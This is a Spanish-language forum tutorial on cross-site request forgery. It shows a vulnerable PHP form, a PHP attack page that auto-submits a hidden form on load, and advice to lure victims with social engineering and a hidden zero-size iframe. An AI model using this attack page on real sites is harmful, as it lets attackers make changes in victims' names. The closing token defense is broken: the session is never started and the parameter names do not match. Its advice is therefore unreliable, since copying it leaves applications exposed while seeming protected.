Imagen

Ejemplo de ataque CSRF


Un ataque CSRF/XSRF o Cross site request forgery vendría siendo un exploit o vulnerabilidad la cúal se da en aplicaciones web en la que el usuario víctima realiza ciertas peticiones falsificadas en aplicaciones web vulnerables, la víctima al abrir la CSRF automáticamente lograra ejecutar u/o modificar registros sin su intención.

Para poder llevarse a cabo un ataque CSRF se debe hacer uso de la ingeniería social, con la cúal podamos lograr que el usuario víctima acceda a nuestra página la cúal debe tener el csrf oculto, está se encargara de ejecutar el CSRF sin que el usuario víctima se pueda dar cuenta.

Código vulnerable

Un código vulnerable podría ser el siguiente:

pagina.html :

Código: Seleccionar todo

<form action="process.php" method="POST">
Texto: <input type="text" name="text" /><br><br>
<input type="submit" />
</form>
Como pueden observar, no hacemos ningún envío de token para tener una identificación única. Con lo cúal, nuestro formulario es vulnerable a ataques CSRF. En este caso, solo tenemos un simple formulario que no almacena ni registra nada, pero imagínense uno que sí. Sería de grave peligro.

process.php :

Código: Seleccionar todo

<?php
if(isset($_POST['text']) && !empty($_POST['text'])){
 echo "Hola";
}
else{
echo "Error";
}
?>
Este es solo un simple proceso, el cúal verifica si el input de texto "text" no este vacío. si es así, lanza un mensaje diciendo error.

Preparando nuestro código CSRF de ataque

Pues para preparar el escenario de ataque, el atacante necesita tener conocimientos en la programación web, ya sea PHP, JS u HTML. Aquí les presento una estructura de código en php la cúal he creado especialmente para el formulario anterior vulnerable:

Código: Seleccionar todo


<?php

$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar

echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST" />'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>

?>
En este código simple, solamente ejecutamos el valor ingresado en el csrf en la página web vulnerable, identificándonos como nuestro usuario víctima.

Camuflando nuestra CSRF

Existe un método para evitar que nuestro CSRF de ataque se note sospechoso, sería camuflando nuestro código de ataque mediante el uso de HTML u algún otro lenguaje de programación web, tal como JS, jQuery, HTML, o tal vez un simple index en el que camuflamos nuestro código mediante el uso de un <iframe> en html.

Un ejemplo sería el siguiente, en el que camuflamos nuestro CSRF en una index con un iframe:

Código: Seleccionar todo

<html>
<head><title>Bienvenid@</title></head>
<body>

<h1>Bienvenid@ a mi sitio web :)</h1>

<iframe src="http://websitedelatacante.com/csrfoculto.php" width=0% height=0% />

</body>
</html>
Aunque es muy claro que este se nota muy sospechoso, es cuestión de saber HTML5 y montar una index común y corriente, para luego enviarsela a la víctima.

Defensa

Para poder defendernos de este tipo de ataques, yo recomiendo hacer uso de algún envío de un token como una sesión en php. Haciendo uso de la función session_start() , el hash md5() u sha1() para la encriptación, uniqid() para un identificador único y rand() para dar un entero aleatorio. Ejemplo:

token.php :

Código: Seleccionar todo

<html>
   <head><title>Hola</title></head>
   <meta charset="utf-8">
   <body>
        <?php $_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
        echo '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
                 echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
                 echo '<input type="submit" value="Ejecutar">';
        echo '</form>';
        ?>
   </body>
</html>
Y cómo pueden observar, tenemos un identificador único y un número aleatorio cifrado en sha1 como sesión. Y luego ejecutamos el token por el método GET.

process.php :

Código: Seleccionar todo

<html>
   <head> 
   <title>Proceso</title> 
   </head> 
   <body>
        <?php
             if($_GET["envio_token"] == $_SESSION["envio_token"]){     
             echo 'Se ha ejecutado el token correctamente';
    }
    else{
    echo 'Error';
            }
       ?>
   </body>
</html>
Y en este proceso, comprobamos que el token que se envío por el método GET es el mismo de la sesión que tenemos iniciada. Si es así, muestra un mensaje avisando que todo se ejecuto correctamente.

Bueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post ;D.

Saludos, M5f3r0 .
Responder

Volver a “Auditoria Web”